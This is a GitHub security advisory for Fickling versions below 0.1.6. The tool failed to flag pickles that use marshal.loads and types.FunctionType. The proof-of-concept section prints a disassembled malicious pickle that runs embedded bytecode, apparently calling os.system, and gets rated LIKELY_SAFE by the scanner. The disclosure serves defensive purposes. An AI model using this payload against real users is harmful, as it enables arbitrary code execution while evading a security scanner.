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Fickling has missing detection for marshal.loads and types.FunctionType in unsafe modules list

High severity GitHub Reviewed Published Dec 15, 2025 in trailofbits/fickling • Updated Dec 15, 2025

Package

pip fickling (pip)

Affected versions

< 0.1.6

Patched versions

0.1.6

Description

Fickling Assessment

Based on the test case provided in the original report below, this bypass was caused by marshal and types missing from the block list of unsafe module imports, Fickling started blocking both modules to address this issue. This was fixed in trailofbits/fickling#186. The crash is unrelated and has no security impact—it will be addressed separately.

Original report

Summary

There's missing detection for the python modules, marshal.loads and types.FunctionType and Fickling throws unhandled ValueErrors when the stack is deliberately exhausted.

Details

Fickling simply doesn't have the aforementioned modules in its list of unsafe imports and therefore it fails to get detected.

PoC

The following is a disassembled view of a malicious pickle file that uses these modules:

    0: \x80 PROTO      4
    2: \x95 FRAME      0
   11: \x8c SHORT_BINUNICODE 'marshal'
   20: \x8c SHORT_BINUNICODE 'loads'
   27: \x93 STACK_GLOBAL
   28: \x94 MEMOIZE    (as 0)
   29: h    BINGET     0
   31: C    SHORT_BINBYTES b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xf30\x00\x00\x00\x95\x00S\x00S\x01K\x00r\x00\\\x00R\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"\x00S\x025\x01\x00\x00\x00\x00\x00\x00 \x00g\x01)\x03\xe9\x00\x00\x00\x00N\xda\x02id)\x02\xda\x02os\xda\x06system\xa9\x00\xf3\x00\x00\x00\x00\xda\x08<string>\xda\x08<module>r\t\x00\x00\x00\x01\x00\x00\x00s\x13\x00\x00\x00\xf0\x03\x01\x01\x01\xe3\x00\t\xd8\x00\x02\x87\t\x82\t\x88$\x85\x0fr\x07\x00\x00\x00'
  198: \x85 TUPLE1
  199: R    REDUCE
  200: \x94 MEMOIZE    (as 1)
  201: \x8c SHORT_BINUNICODE 'types'
  208: \x8c SHORT_BINUNICODE 'FunctionType'
  222: \x93 STACK_GLOBAL
  223: \x94 MEMOIZE    (as 2)
  224: h    BINGET     2
  226: h    BINGET     1
  228: }    EMPTY_DICT
  229: \x86 TUPLE2
  230: R    REDUCE
  231: \x94 MEMOIZE    (as 3)
  232: h    BINGET     3
  234: )    EMPTY_TUPLE
  235: R    REDUCE
  236: \x94 MEMOIZE    (as 4)
  237: \x8c SHORT_BINUNICODE 'gottem'
  245: b    BUILD
  246: .    STOP

When analyzing this modified file, safety_result.json shows:

{
    "severity": "LIKELY_SAFE",
    "analysis": "Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\n\n",
    "detailed_results": {}
}

Furthermore, when we run fickling -s <path_to_malicious_file>, we also encounter this error:

Traceback (most recent call last):
  File "<path>/fickling", line 7, in <module>
    sys.exit(main())
             ^^^^^^
  File "<path>/fickling/cli.py", line 163, in main
    safety_results = check_safety(pickled, json_output_path=json_output_path)
                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/analysis.py", line 408, in check_safety
    results = analyzer.analyze(pickled)
              ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/analysis.py", line 65, in analyze
    context.analyze(a)
  File "<path>/fickling/analysis.py", line 31, in analyze
    results = list(analysis.analyze(self))
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/analysis.py", line 196, in analyze
    for node in context.pickled.non_standard_imports():
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/fickle.py", line 826, in non_standard_imports
    for node in self.properties.imports:
                ^^^^^^^^^^^^^^^
  File "<path>/fickling/fickle.py", line 777, in properties
    self._properties.visit(self.ast)
                           ^^^^^^^^
  File "<path>/fickling/fickle.py", line 833, in ast
    self._ast = Interpreter.interpret(self)
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/fickle.py", line 1001, in interpret
    return Interpreter(pickled).to_ast()
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/fickle.py", line 927, in to_ast
    self.run()
  File "<path>/fickling/fickle.py", line 971, in run
    self.step()
  File "<path>/fickling/fickle.py", line 989, in step
    opcode.run(self)
  File "<path>/fickling/fickle.py", line 1767, in run
    raise ValueError("Exhausted the stack while searching for a MarkObject!")
ValueError: Exhausted the stack while searching for a MarkObject!

Impact

This allows an attacker to craft a malicious pickle file that can bypass fickling since it misses detections for types.FunctionType and marshal.loads. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues.

References

@securingdev securingdev published to trailofbits/fickling Dec 15, 2025
Published to the GitHub Advisory Database Dec 15, 2025
Reviewed Dec 15, 2025
Last updated Dec 15, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

Weaknesses

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. Learn more on MITRE.

CVE ID

CVE-2025-67747

GHSA ID

GHSA-565g-hwwr-4pp3

Source code

Credits

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